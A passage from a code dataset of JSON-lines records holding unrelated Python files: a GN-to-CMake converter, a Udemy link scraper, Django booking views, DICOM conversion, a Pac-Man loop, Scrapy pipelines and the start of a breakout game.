out.write('set_property(TARGET ')\n out.write(target.cmake_name)\n out.write(' APPEND PROPERTY INCLUDE_DIRECTORIES')\n for include_dir in includes:\n out.write('\\n \"')\n out.write(GetAbsolutePath(root_path, include_dir))\n out.write('\"')\n out.write(')\\n')\n\n # Defines\n defines = target.properties.get('defines', [])\n if defines:\n SetTargetProperty(out, target.cmake_name,\n 'COMPILE_DEFINITIONS', defines, ';')\n\n # Compile flags\n # \"arflags\", \"asmflags\", \"cflags\",\n # \"cflags_c\", \"clfags_cc\", \"cflags_objc\", \"clfags_objcc\"\n # CMake does not have per target lang compile flags.\n # TODO: $<$:cflags_cc style generator expression.\n # http://public.kitware.com/Bug/view.php?id=14857\n flags = []\n flags.extend(target.properties.get('cflags', []))\n cflags_asm = target.properties.get('asmflags', [])\n cflags_c = target.properties.get('cflags_c', [])\n cflags_cxx = target.properties.get('cflags_cc', [])\n if 'c' in sources and not any(k in sources for k in ('asm', 'cxx')):\n flags.extend(cflags_c)\n elif 'cxx' in sources and not any(k in sources for k in ('asm', 'c')):\n flags.extend(cflags_cxx)\n else:\n # TODO: This is broken, one cannot generally set properties on files,\n # as other targets may require different properties on the same files.\n if 'asm' in sources and cflags_asm:\n SetFilesProperty(out, sources['asm'], 'COMPILE_FLAGS', cflags_asm, ' ')\n if 'c' in sources and cflags_c:\n SetFilesProperty(out, sources['c'], 'COMPILE_FLAGS', cflags_c, ' ')\n if 'cxx' in sources and cflags_cxx:\n SetFilesProperty(out, sources['cxx'], 'COMPILE_FLAGS', cflags_cxx, ' ')\n if flags:\n SetTargetProperty(out, target.cmake_name, 'COMPILE_FLAGS', flags, ' ')\n\n # Linker flags\n ldflags = target.properties.get('ldflags', [])\n if ldflags:\n SetTargetProperty(out, target.cmake_name, 'LINK_FLAGS', ldflags, ' ')\n\n\ndef GetObjectDependencies(object_dependencies, target_name, targets):\n dependencies = targets[target_name].get('deps', [])\n for dependency in dependencies:\n if targets[dependency].get('type', None) == 'source_set':\n object_dependencies.add(dependency)\n GetObjectDependencies(object_dependencies, dependency, targets)\n\n\ndef WriteSourceVariables(out, target, targets, root_path):\n raw_sources = target.properties.get('sources', [])\n\n # gn separates the sheep from the goats based on file extensions.\n # A full separation is done here because of flag handing (see Compile flags).\n source_types = {'cxx':[], 'c':[], 'asm':[],\n 'obj':[], 'obj_target':[], 'other':[]}\n for source in raw_sources:\n _, ext = posixpath.splitext(source)\n source_abs_path = GetAbsolutePath(root_path, source)\n source_types[source_file_types.get(ext, 'other')].append(source_abs_path)\n\n # OBJECT library dependencies need to be listed as sources.\n # Only executables and non-OBJECT libraries may reference an OBJECT library.\n # https://gitlab.kitware.com/cmake/cmake/issues/14778\n if target.cmake_type.modifier != 'OBJECT':\n object_dependencies = set()\n GetObjectDependencies(object_dependencies, target.gn_name, targets)\n for dependency in object_dependencies:\n cmake_dependency_name = GetOutputName(dependency, targets[dependency])\n obj_target_sources = '$'\n source_types['obj_target'].append(obj_target_sources)\n\n sources = {}\n for source_type, sources_of_type in source_types.items():\n if sources_of_type:\n sources[source_type] = target.cmake_name + '__' + source_type + '_srcs'\n SetVariableList(out, sources[source_type], sources_of_type)\n return sources\n\n\ndef WriteTarget(out, target_name, root_path, targets):\n out.write('\\n#')\n out.write(target_name)\n out.write('\\n')\n\n target = Target(target_name, targets)\n\n if target.cmake_type is None:\n print ('Target %s has unknown target type %s, skipping.' %\n ( target_name, target.gn_type ) )\n return\n\n sources = WriteSourceVariables(out, target, targets, root_path)\n\n out.write(target.cmake_type.command)\n out.write('(')\n out.write(target.cmake_name)\n if target.cmake_type.modifier is not None:\n out.write(' ')\n out.write(target.cmake_type.modifier)\n for sources_type_name in sources.values():\n WriteVariable(out, sources_type_name, ' ')\n out.write(')\\n')\n\n if target.cmake_type.command != 'add_custom_target':\n WriteCompilerFlags(out, target, targets, root_path, sources)\n\n dependencies = target.properties.get('deps', [])\n libraries = []\n nonlibraries = []\n for dependency in dependencies:\n gn_dependency_type = targets.get(dependency, {}).get('type', None)\n cmake_dependency_type = cmake_target_types.get(gn_dependency_type, None)\n if cmake_dependency_type.command != 'add_library':\n nonlibraries.append(dependency)\n elif cmake_dependency_type.modifier != 'OBJECT':\n libraries.append(GetOutputName(dependency, targets[dependency]))\n\n # Non-library dependencies.\n if nonlibraries:\n out.write('add_dependencies(')\n out.write(target.cmake_name)\n out.write('\\n')\n for nonlibrary in nonlibraries:\n out.write(' ')\n out.write(GetOutputName(nonlibrary, targets[nonlibrary]))\n out.write('\\n')\n out.write(')\\n')\n\n # Non-OBJECT library dependencies.\n external_libraries = target.properties.get('libs', [])\n if target.cmake_type.is_linkable and (external_libraries or libraries):\n system_libraries = []\n for external_library in external_libraries:\n if '/' in external_library:\n libraries.append(GetAbsolutePath(root_path, external_library))\n else:\n if external_library.endswith('.framework'):\n external_library = external_library[:-len('.framework')]\n system_library = external_library + '__library'\n out.write('find_library (')\n out.write(system_library)\n out.write(' ')\n out.write(external_library)\n out.write(')\\n')\n system_libraries.append(system_library)\n out.write('target_link_libraries(')\n out.write(target.cmake_name)\n for library in libraries:\n out.write('\\n \"')\n out.write(CMakeStringEscape(library))\n out.write('\"')\n for system_library in system_libraries:\n WriteVariable(out, system_library, '\\n ')\n out.write(')\\n')\n\n\ndef WriteProject(project):\n build_settings = project['build_settings']\n root_path = build_settings['root_path']\n build_path = os.path.join(root_path, build_settings['build_dir'][2:])\n\n out = open(os.path.join(build_path, 'CMakeLists.txt'), 'w+')\n out.write('cmake_minimum_required(VERSION 2.8.8 FATAL_ERROR)\\n')\n out.write('cmake_policy(VERSION 2.8.8)\\n')\n\n # The following appears to be as-yet undocumented.\n # http://public.kitware.com/Bug/view.php?id=8392\n out.write('enable_language(ASM)\\n')\n # ASM-ATT does not support .S files.\n # output.write('enable_language(ASM-ATT)\\n')\n\n targets = project['targets']\n for target_name in targets.keys():\n out.write('\\n')\n WriteTarget(out, target_name, root_path, targets)\n\n\ndef main():\n if len(sys.argv) != 2:\n print('Usage: ' + sys.argv[0] + ' ')\n exit(1)\n\n json_path = sys.argv[1]\n project = None\n with open(json_path, 'r') as json_file:\n project = json.loads(json_file.read())\n\n WriteProject(project)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"gn/gn_to_cmake.py","file_name":"gn_to_cmake.py","file_ext":"py","file_size_in_byte":12934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"337181195","text":"import requests\nfrom bs4 import BeautifulSoup\nimport re\n\n\nudemy_baslik = []\nudemy_link = []\n\nprint(\"Sabır, En Büyük Erdemdir..\")\n\nfor sayfa in range(1, 4): # ilk döngü /language/Turkish için\n ######################################################################################################\n sayfa = str(sayfa) # int olan değerimizi str yapıyoruz\n link = 'https://www.discudemy.com/language/Turkish/' + sayfa # sayfalar arasında gezinmek için\n reqs = requests.get(link)\n soup = BeautifulSoup(reqs.text, 'html5lib')\n ######################################################################################################\n \n for heading in soup.findAll('a', {'class': 'card-header'}):\n heading = heading.text\n udemy_baslik.append(heading)\n \n for discudemy_linkler in soup.findAll('a', attrs={'href': re.compile(\"^https://www.discudemy.com/Turkish/\")}): # Turkish/kurs-adi\n gelen_discudemy = discudemy_linkler['href']\n discudemy_go_html = requests.get(gelen_discudemy)\n discudemy_go_kaynak = BeautifulSoup(discudemy_go_html.text, 'html5lib')\n\n for discudemy_go_linkler in discudemy_go_kaynak.findAll('a', attrs={'href': re.compile(\"^https://www.discudemy.com/go/\")}): # go/kurs-adi\n gelen_discudemy_go = discudemy_go_linkler['href']\n udemy_html = requests.get(gelen_discudemy_go)\n udemy_kaynak = BeautifulSoup(udemy_html.text, 'html5lib')\n \n for udemy_linkler in udemy_kaynak.findAll('a', attrs={'href': re.compile(\"^https://www.udemy.com/\")}): # o sayfanın içindeki udemy linki\n gelen_udemy = udemy_linkler['href']\n udemy_link.append(gelen_udemy)\n\nfor adet in range(0, len(udemy_baslik)):\n ############################################################\n gelen_udemy_kaydet = open(\"UdemyBaslik.txt\", \"a+\")\n \n gelen_udemy_kaydet.write(\"=\"*100 + f\"\\n{udemy_baslik[adet]}\\n\")\n print(\"=\"*100 + f\"\\n{udemy_baslik[adet]}\\n\")\n \n gelen_udemy_kaydet.write(f\"\\t{udemy_link[adet]}\\n\" + \"=\"*100)\n print(f\"\\t{udemy_link[adet]}\\n\" + \"=\"*100)\n \n gelen_udemy_kaydet.close()\n ############################################################","sub_path":"lab/for_cw/UdemyBaslik.py","file_name":"UdemyBaslik.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"87738391","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.urls import reverse_lazy, reverse\nfrom django.views.generic import CreateView\nfrom .models import Booking\nfrom profiles.models import UserProfile\nfrom .forms import BookingForm, BookThisMotorhomeForm\nfrom django.contrib import messages\nfrom motorhomes.models import Motorhome\nimport json\nimport dateutil\nfrom dateutil.parser import parse\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom checkout.models import BillingAddress, BookingSummary\nfrom checkout.views import CheckoutAddressView, CheckoutView\n\n# a view to show all bookings\n\n\n@staff_member_required\ndef BookingListView(request):\n\n bookings = Booking.objects.all()\n\n context = {\n 'bookings': bookings,\n }\n return render(request, 'bookings/bookings_list.html', context)\n\n\n# a view to show user's bookings\n@login_required\ndef MyBookings(request):\n if not request.user.is_authenticated:\n messages.add_message(\n request, messages.WARNING, 'Please login or register to view this page')\n return redirect(reverse('motorhomes'))\n\n user = request.user\n bookings = Booking.objects.filter(booked_by=user).order_by('-booked_on')\n bsummaries = BookingSummary.objects.filter(\n user=request.user).order_by('-date_created')\n context = {\n 'bookings': bookings,\n 'bsummaries': bsummaries,\n }\n return render(request, 'bookings/my_bookings.html', context)\n\n\nclass BookingView(CreateView):\n # A view to create Booking\n model = Booking\n template_name = 'bookings/create_booking.html'\n fields = '__all__'\n success_url = reverse_lazy('create_booking')\n\n# a view to create booking with a choosen vehicle\n\n\n@login_required\ndef BookThisMotorhome(request, pk):\n \"\"\" This view is to create a booking after choosing motorhome \"\"\"\n if not request.user.is_authenticated:\n messages.add_message(\n request, messages.WARNING, 'Please login or register to create your booking.')\n return redirect(reverse('motorhomes'))\n user = request.user\n template = 'bookings/book_this_motorhome.html'\n motorhome = get_object_or_404(Motorhome, pk=pk)\n form = BookThisMotorhomeForm()\n context = {\n 'motorhome': motorhome,\n 'form': form,\n }\n if request.method == 'POST':\n request.session['user.pk'] = user.pk\n # get the dates from the form\n booked_from = request.POST.get('start_date', False)\n booked_until = request.POST.get('end_date', False)\n # using dateutils to parse the date passed from the page to django accepted format\n booked_until_parsed = dateutil.parser.parse(booked_until)\n booked_from_parsed = dateutil.parser.parse(booked_from)\n # should the from date larger then the until or the same, return to this page with warning\n if (booked_until_parsed - booked_from_parsed).days < 1:\n messages.add_message(\n request, messages.WARNING, 'Please check your dates, something wrong')\n return render(request, template, context)\n\n td = booked_until_parsed-booked_from_parsed\n # get days to count the total\n days = td.days\n total = td.days*motorhome.daily_rental_fee\n try:\n # create booking with the given details, others set to default\n booking = Booking(\n booked_by=user,\n booked_vehicle=motorhome,\n booked_from=booked_from,\n booked_until=booked_until,\n )\n booking.save()\n # add booking information to session\n # so it can be accessed later on\n request.session['motorhome.pk'] = pk\n\n request.session['days'] = days\n request.session['total'] = total\n request.session['booked_from'] = booked_from\n request.session['booked_until'] = booked_until\n request.session['booking_id'] = booking.booking_id\n # uopdate userprofile instance with the last booking ref\n UserProfile.objects.filter(pk=user.id).update(\n last_booking_ref=booking.booking_id)\n\n # If user has billingaddress then go to the checkout view,\n # no billing address saved, redirect to the checkout checkout view to add it before go to payment\n billingaddress = BillingAddress.objects.filter(user=request.user)\n if billingaddress:\n return redirect(reverse('checkout'))\n messages.add_message(request, messages.SUCCESS,\n \"Your Booking has been created, let's go to checkout\")\n else:\n return redirect(reverse('checkout_address'))\n messages.add_message(request, messages.SUCCESS,\n \"Your Booking has been created, let's add a billingadress\")\n except:\n messages.add_message(request, messages.ERROR,\n 'Sorry, We were unable to create your booking, please try again or contact us')\n return render(request, template, context)\n\n return render(request, template, context)\n\n\n@login_required\ndef CheckoutThisBooking(request, pk):\n \"\"\" This view is to redirect user to\n checkout from the my bookings page\n This can happen if the user have not finished the checkout\n after the booking was made\n \"\"\"\n\n try:\n booking = Booking.objects.get(pk=pk)\n motorhome = get_object_or_404(Motorhome, pk=booking.booked_vehicle.id)\n user = request.user\n request.session['user.pk'] = user.pk\n # get the dates from the form\n booked_from = booking.booked_from\n booked_until = booking.booked_until\n td = booked_until-booked_from\n # get days to count the total\n days = td.days\n total = td.days*motorhome.daily_rental_fee\n request.session['motorhome.pk'] = motorhome.id\n request.session['days'] = days\n request.session['total'] = total\n request.session['booked_from'] = booked_from.isoformat()\n request.session['booked_until'] = booked_until.isoformat()\n request.session['booking_id'] = booking.booking_id\n # uopdate userprofile instance with the last booking ref\n UserProfile.objects.filter(pk=user.id).update(\n last_booking_ref=booking.booking_id)\n # If user has billingaddress then go to the checkout view,\n # no billing address saved, redirect to the checkout checkout view to add it before go to payment\n billingaddress = BillingAddress.objects.filter(user=request.user)\n if billingaddress:\n return redirect(reverse('checkout'))\n messages.add_message(request, messages.SUCCESS,\n \"Billing Address found, let's checkout\")\n else:\n return redirect(reverse('checkout_address'))\n messages.add_message(request, messages.SUCCESS,\n \"Billing Address not found, let's add a billing adress\")\n except:\n messages.add_message(request, messages.ERROR,\n 'Sorry, We were unable to progress with your booking, please try again or contact us')\n return redirect(reverse(MyBookings))\n","sub_path":"bookings/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"8491318","text":"# coding=utf-8\nimport re\nfrom django import forms\nfrom django_select2.forms import ModelSelect2MultipleWidget\nfrom om.models import Entity\n\n\ndef check_port(v):\n if not all([x.isdecimal() for x in re.split(r'\\W+', v)]):\n raise forms.ValidationError('填写非法,多个端口可用空格或逗号分隔!', params={'value': v}, )\n\n\nclass WallForm(forms.Form):\n source_entity = forms.ModelMultipleChoiceField(\n widget=ModelSelect2MultipleWidget(search_fields=['name__icontains']),\n queryset=Entity.objects.all(), label='请求方实体'\n )\n\n target_entity = forms.ModelMultipleChoiceField(\n widget=ModelSelect2MultipleWidget(search_fields=['name__icontains']),\n queryset=Entity.objects.all(), label='响应方实体'\n )\n\n port = forms.CharField(\n min_length=1, max_length=200, label='服务端口',\n validators=[check_port],\n error_messages={'required': '请填写监听端口,多个端口可用空格或逗号分隔!'},\n widget=forms.TextInput(attrs={'placeholder': '多个端口可用空格或逗号分隔!'})\n )\n\n env = forms.ChoiceField(choices=(('PRD', '生产'), ('UAT', '测试'), ('FAT', '开发')), label='环境类型')\n\n # om = forms.ChoiceField(choices=(('t', '生成'), ('n', '不生成')), label='运维防火墙')\n\n def clean(self):\n if not self.is_valid():\n raise forms.ValidationError(u\"所有项都为必填项!\")\n else:\n cleaned_data = super(WallForm, self).clean()\n return cleaned_data\n","sub_path":"utils/form.py","file_name":"form.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"277314586","text":"from dlrobot.common.robot_project import TRobotProject\nfrom common.urllib_parse_pro import site_url_to_file_name\nfrom dlrobot.common.robot_config import TRobotConfig\n\nimport os\nimport time\nimport json\nimport sys\nfrom collections import defaultdict\nfrom unidecode import unidecode\n\n\nclass TRemoteDlrobotCall:\n\n def __init__(self, worker_ip=\"\", project_file=\"\", web_site=\"\"):\n self.worker_ip = worker_ip\n self.project_file = project_file\n self.web_site = web_site\n self.exit_code = 1\n self.start_time = int(time.time())\n self.end_time = None\n self.result_files_count = 0\n self.worker_host_name = None\n self.reach_status = None\n self.file_line_index = None\n\n def task_ended(self):\n return self.end_time is not None\n\n def task_was_successful(self):\n return self.result_files_count > 0\n\n def get_website(self):\n return self.web_site\n\n @staticmethod\n def web_site_to_project_file(s):\n s = site_url_to_file_name(s)\n\n #chrome cannot start in cyrillic directories\n s = unidecode(s).replace(\"'\", \"_\")\n return s + \".txt\"\n\n def get_total_minutes(self):\n end_time = self.end_time if self.end_time is not None else 0\n return (end_time - self.start_time) / 60\n\n def read_from_json(self, str):\n d = json.loads(str)\n self.worker_ip = d['worker_ip']\n self.project_file = d['project_file']\n self.exit_code = d['exit_code']\n self.start_time = d['start_time']\n self.end_time = d['end_time']\n self.result_files_count = d['result_files_count']\n self.worker_host_name = d['worker_host_name']\n self.reach_status = d['reach_status']\n self.web_site = d['web_site']\n\n def write_to_json(self):\n return {\n 'worker_ip': self.worker_ip,\n 'project_file': self.project_file,\n 'exit_code': self.exit_code,\n 'start_time': self.start_time,\n 'end_time': self.end_time,\n 'result_files_count': self.result_files_count,\n 'worker_host_name': self.worker_host_name,\n 'reach_status': self.reach_status,\n 'web_site': self.web_site\n }\n\n def calc_project_stats(self, logger, web_sites_db, project_folder, config: TRobotConfig):\n if not self.task_ended():\n return\n try:\n path = os.path.join(project_folder, self.project_file)\n with TRobotProject(logger, path, config=config, start_selenium=False,\n enable_search_engine=False, web_sites_db=web_sites_db) as project:\n project.read_project(check_step_names=False)\n web_site_snapshot = project.web_site_snapshots[0]\n self.result_files_count = len(web_site_snapshot.export_env.exported_files)\n self.reach_status = web_site_snapshot.reach_status\n except Exception as exp:\n logger.error(\"Cannot read file {}: exception={}\".format(self.project_file, str(exp)))\n pass\n\n\nclass TRemoteDlrobotCallList:\n def __init__(self, logger=None, file_name=None, min_start_time_stamp=None):\n self.remote_calls_by_project_file = defaultdict(list)\n self.last_interaction = defaultdict(int)\n self.logger = logger\n self.min_start_time_stamp = min_start_time_stamp\n if file_name is None:\n self.file_name = os.path.join(os.path.dirname(__file__), \"../central/data/dlrobot_remote_calls.dat\")\n else:\n self.file_name = file_name\n self.read_remote_calls_from_file()\n\n def error(self, s):\n if self.logger is not None:\n self.logger.error(s)\n else:\n sys.stderr.write(s + \"\\n\")\n\n def debug(self, s):\n if self.logger is not None:\n self.logger.debug(s)\n else:\n sys.stderr.write(s + \"\\n\")\n\n def read_remote_calls_from_file(self):\n self.debug(\"read {}\".format(self.file_name))\n self.remote_calls_by_project_file.clear()\n try:\n with open(self.file_name, \"r\") as inp:\n line_no = 1\n for line in inp:\n line = line.strip()\n remote_call = TRemoteDlrobotCall()\n remote_call.read_from_json(line)\n remote_call.file_line_index = line_no\n self.last_interaction[remote_call.web_site] = max(\n self.last_interaction[remote_call.web_site],\n remote_call.start_time\n )\n if remote_call.start_time > self.min_start_time_stamp:\n self.remote_calls_by_project_file[remote_call.project_file].append(remote_call)\n line_no += 1\n except Exception as exp:\n self.error(\"cannot read file {}, line no {}\\n\".format(self.file_name, line_no))\n raise\n return self\n\n def add_dlrobot_remote_call(self, remote_call: TRemoteDlrobotCall):\n self.remote_calls_by_project_file[remote_call.project_file].append(remote_call)\n with open(self.file_name, \"a\") as outp:\n outp.write(json.dumps(remote_call.write_to_json(), ensure_ascii=False) + \"\\n\")\n\n def get_interactions(self, project_file):\n return self.remote_calls_by_project_file.get(project_file, list())\n\n def has_success(self, project_file):\n for x in self.remote_calls_by_project_file.get(project_file, list()):\n if x.task_was_successful():\n return True\n return False\n\n def get_all_calls(self):\n for l in self.remote_calls_by_project_file.values():\n for c in l:\n yield c\n\n","sub_path":"tools/dlrobot/common/remote_call.py","file_name":"remote_call.py","file_ext":"py","file_size_in_byte":5784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"213172312","text":"types_of_people = 10\n# prints out {types_of_people} in the {} which in this case is 10\nx = f\"There are {types_of_people} types of people.\"\n\n# binary variable is the string \"binary\" do_not is the string \"don't\"\nbinary = \"binary\"\ndo_not = \"don't\"\ny = f\"Those who know {binary} and those who {do_not}.\"\n\n# prints x\nprint(x)\n# prints y\nprint(y)\n\n# prints x in {x}\nprint(f\"I said: {x}\")\n# prints y in {y}\nprint(f\"I also said: {y}\")\n\n# boolean value hilarious is False\nhilarious = False\njoke_evaluation = \"Isn't that joke so funny?! {}\"\n\n# prints hilarious inside {}\nprint(joke_evaluation.format(hilarious))\n\nw = \"This is the left side of...\"\ne = \"a string with a right side.\"\n\n# this makes a longer string because it prints w + e into a single line of string\nprint(w + e)\n","sub_path":"ex05.py","file_name":"ex05.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"105204175","text":"# -*- coding: utf-8 -*-\nimport pydicom\nimport os\nimport numpy\nfrom PIL import Image\n\npathToDicom = 'U:\\\\Data\\\\DICOM'\nnewpathToTiff = os.path.join(pathToDicom, 'Tiff')\nif not os.path.exists(newpathToTiff):\n os.makedirs(newpathToTiff)\n \n \ndef saveAsTif(img, outputFormat, outputName):\n img = Image.fromarray(img)\n img.save(outputName, outputFormat)\n \nlistOfFileNames = []\nfileNames = []\nfor dirName, subdirList, fileList in os.walk(pathToDicom):\n for filename in fileList:\n if \".dcm\" in filename.lower():\n listOfFileNames.append(os.path.join(dirName, filename))\n fileNames.append(filename)\n\nRefDs = pydicom.read_file(listOfFileNames[0])\n\nConstPixelDims = (int(RefDs.Rows), int(RefDs.Columns), len(listOfFileNames))\nConstPixelSpacing = (float(RefDs.PixelSpacing[0]), float(RefDs.PixelSpacing[1]))\n\nx = numpy.arange(0.0, (ConstPixelDims[0]+1)*ConstPixelSpacing[0], ConstPixelSpacing[0])\ny = numpy.arange(0.0, (ConstPixelDims[1]+1)*ConstPixelSpacing[1], ConstPixelSpacing[1])\n\nos.chdir(newpathToTiff)\n# loop through all the DICOM files\ncounter = 0\nfor filenameDCM in listOfFileNames:\n #read the file\n ds = pydicom.read_file(filenameDCM)\n #store the raw image data\n #změna čísla\n filNum = str(int(fileNames[counter][14:18])+1)\n numOfDigits = len(filNum)\n temp = list(fileNames[counter])\n# if numOfDigits == 1:\n# temp[14:18] = list('000'+filNum)\n# elif numOfDigits == 2:\n# temp[14:18] = list('00'+filNum)\n# elif numOfDigits == 3:\n# temp[14:18] = list('0'+filNum)\n# else:\n# temp[14:18] = list(filNum)\n temp = ''.join(temp) \n saveAsTif(ds.pixel_array, 'TIFF',temp[:-3] + 'tif')\n counter = counter + 1","sub_path":"dcmToTiff.py","file_name":"dcmToTiff.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"74419227","text":"#!/usr/bin/env python3\n\n'''\n@author Michele Tomaiuolo - http://www.ce.unipr.it/people/tomamic\n@license This software is free - http://www.gnu.org/licenses/gpl.html\n'''\n\nimport pygame\nfrom arena import *\nfrom pacman import *\nfrom pacman_map import *\n\n#Ghost sprites constants definition\nredGhostY = 64\nredGhostHeigth = 16\n\nredGhost = 0, redGhostY\npinkGhost = 0, redGhostY + redGhostHeigth\nblueGhost = 0, redGhostY + (redGhostHeigth *2)\norangeGhost = 0, redGhostY + (redGhostHeigth * 3)\n\narena = Arena(232, 256)\n\nfor x, y, w, h in walls_pos:\n Wall(arena, x, y, w, h)\nfor x, y in cookies_pos:\n Cookie(arena, x, y)\nfor x, y in powers_pos:\n Power(arena, x, y)\n\npacman = PacMan(arena, 112, 184)\nGhost(arena, 112, 88, redGhost)\nGhost(arena, 112, 88, pinkGhost)\nGhost(arena, 112, 88, blueGhost)\nGhost(arena, 112, 88, orangeGhost)\n\npygame.init()\nclock = pygame.time.Clock()\nscreen = pygame.display.set_mode(arena.size())\nbackground = pygame.image.load('pacman_background.png')\nsprites = pygame.image.load('pacman_sprites.png')\n\nplaying = True\nwhile playing:\n for e in pygame.event.get():\n if e.type == pygame.QUIT:\n playing = False\n elif e.type == pygame.KEYDOWN:\n if e.key == pygame.K_UP:\n pacman.moveUp()\n elif e.key == pygame.K_DOWN:\n pacman.moveDown()\n elif e.key == pygame.K_LEFT:\n pacman.moveLeft()\n elif e.key == pygame.K_RIGHT:\n pacman.moveRight()\n #elif e.type == pygame.KEYUP:\n #turtle.stay()\n\n arena.move_all() # Game logic\n\n screen.blit(background, (0, 0))\n for a in arena.actors():\n if not isinstance(a, Wall):\n x, y, w, h = a.rect()\n xs, ys = a.symbol()\n screen.blit(sprites, (x, y), area=(xs, ys, w, h))\n\n pygame.display.flip()\n clock.tick(30)\n \npygame.quit()\n\n","sub_path":"pacman/pacman_game.py","file_name":"pacman_game.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"6680514","text":"# -*- coding: utf-8 -*-\nimport pymongo\nfrom pymongo.errors import DuplicateKeyError\nfrom sina.items import ImageItem,MultiImagePageRawItem\nfrom sina.settings import LOCAL_MONGO_HOST, LOCAL_MONGO_PORT, DB_NAME\nfrom scrapy.pipelines.images import ImagesPipeline\n\nclass MongoDBPipeline(object):\n def __init__(self):\n client = pymongo.MongoClient(LOCAL_MONGO_HOST, LOCAL_MONGO_PORT)\n db = client[DB_NAME]\n \n self.MultiImageRaw = db[\"multi_image_page_raw\"]\n\n def process_item(self, item, spider):\n \"\"\" 判断item的类型,并作相应的处理,再入数据库 \"\"\"\n if isinstance(item, MultiImagePageRawItem):\n self.insert_item(self.MultiImageRaw, item)\n self.update_status_imgIDs(item)\n return item\n \n def insert_item(self, collection, item):\n try:\n collection.insert(dict(item))\n except DuplicateKeyError:\n print(\"[ERROR] DuplicateKeyError\")\n pass\n\n def update_status_imgIDs(self, item):\n client = pymongo.MongoClient(LOCAL_MONGO_HOST, LOCAL_MONGO_PORT)\n db = client[DB_NAME]\n collection = db[\"statuses\"]\n collection.find_one_and_update(\n {'multi_imgs_page_url': item[\"page_url\"]},\n {\n '$set': {\n 'multi_img_ids': item[\"multi_img_ids\"]\n }\n }\n )\n\nclass MyImagesPipeline(ImagesPipeline):\n \n def image_key(self, url):\n #print(\"TEST: \"+url)\n image_guid = url.split(\"/\")[-1]\n image_guid = image_guid + \".jpg\"\n return 'full/%s' % (image_guid)","sub_path":"crawl_status_images/sina/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"253032159","text":"add_library(\"sound\")\n\nimport random\nimport BallClass\nimport BrickClass\nkey_mode = 1\npadpos= -10 \npadpos1 = 350\nprev_padpos = 0\nscore = 0\ngame_won = False\nhigh_score = 0\n\n\nimport random\n \nBrickColour = 255\nt= -750\ny= -750 \n\n\ndef restart():\n global sound_file\n global ball, Bricks, game_won, score, key_mode , imgWin\n word = 'bbbbbbbbbbrrrrrrrrrrrbbbbbbbbbbrrrrrrrrrbrbbbbbbbbbbbrrrrrrrrrrrbbbbbbbbbbbbbbrrrrrrrrbbbbbbbbbbbb'\n #word = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaar' \n word_num = 0\n for i in range(14):\n for j in range(8):\n brick1 = BrickClass.Brick(10 + i*48, 70+j*20, 48, 20, word[word_num])\n Bricks.append(brick1)\n word_num +=1\n if word_num == len(word):\n word_num = 0\n ball = BallClass.Ball(300, 515)\n game_won = False\n score = 0\n padpos1 = 350\n key_mode = 1\n \n \n \n\ndef setup():\n global sound_file\n #word = 'bbbbbbbbbbrrrrrrrrrrrbbbbbbbbbbrrrrrrrrrbrbbbbbbbbbbbrrrrrrrrrrrbbbbbbbbbbbbbbrrrrrrrrbbbbbbbbbbbb' \n #word_num = 0\n size(700, 600)\n background(50)\n global ball ,imgBG , imgTop, imgBot, imgPaddle, imgWin\n global Bricks , img, t, y , imgStart , imgGameOver\n Bricks = []\n imgTop = loadImage(\"Top.png\")\n imgBot = loadImage(\"Bottom.png\")\n imgBG = loadImage(\"GlowBack.png\")\n imgPaddle = loadImage(\"Paddle.png\")\n imgStart = loadImage(\"Start.png\")\n imgWin = loadImage(\"youwin.png\")\n imgGameOver = loadImage(\"GameOver.png\")\n restart()\n img = loadImage(\"BlackBackground8.png\")\n #Bricks[10].erase()\n image(imgStart,0,0)\n sound_file = SoundFile(this, \"sound.mp3\")\n sound_file.play()\n \ndef paddle():\n image(imgPaddle, padpos - 350 ,280)\n #fill(255)\n #circle(padpos , 560 , 20)\n # circle(padpos + 20 , 560, 20)\n #rect(padpos, 550 , 20 , 20) \n \ndef draw():\n global sound_file\n global ball, prev_padpos, score, game_won, high_score , imgWin\n global Bricks , imgBG , imgStart , imgGameOver, frame_count_won\n global padpos1 , img, t, y , key_mode, sound_file\n background(0, 0, 0)\n image(imgBG,0,0)\n fill(100)\n rect(-1,0, width+1, 30)\n if (not game_won) and (not ball.game_over): \n \n prev_padpos = padpos1\n count = 0\n #Bricks[random.randint(0, 79)].erase()\n \n \n \n \n \n '''for i in range(len(Bricks)):\n if Bricks[i].hit_test(ball.pos_x, ball.pos_y):\n if Bricks[i].bottom_hit_test(ball.pos_x, ball.pos_y):\n ball.dy *= -1\n else:\n ball.dx *= -1\n score += Bricks[i].points\n Bricks[i].erase() \n Bricks[i].draw()\n if Bricks[i].active:\n count += 1'''\n for brick in Bricks:\n if brick.active:\n count += 1\n brick.draw()\n \n if count == 0:\n game_won = True\n frame_count_won = frameCount\n #Ball release with spacebar \n t = ball.pos_x - 1000\n y = ball.pos_y - 1000\n \n if keyPressed:\n key_mode = 1\n if ball.dx == 0 and key == \" \":\n ball.dx = sqrt(ball.speed/2)\n ball.dy = -1 * 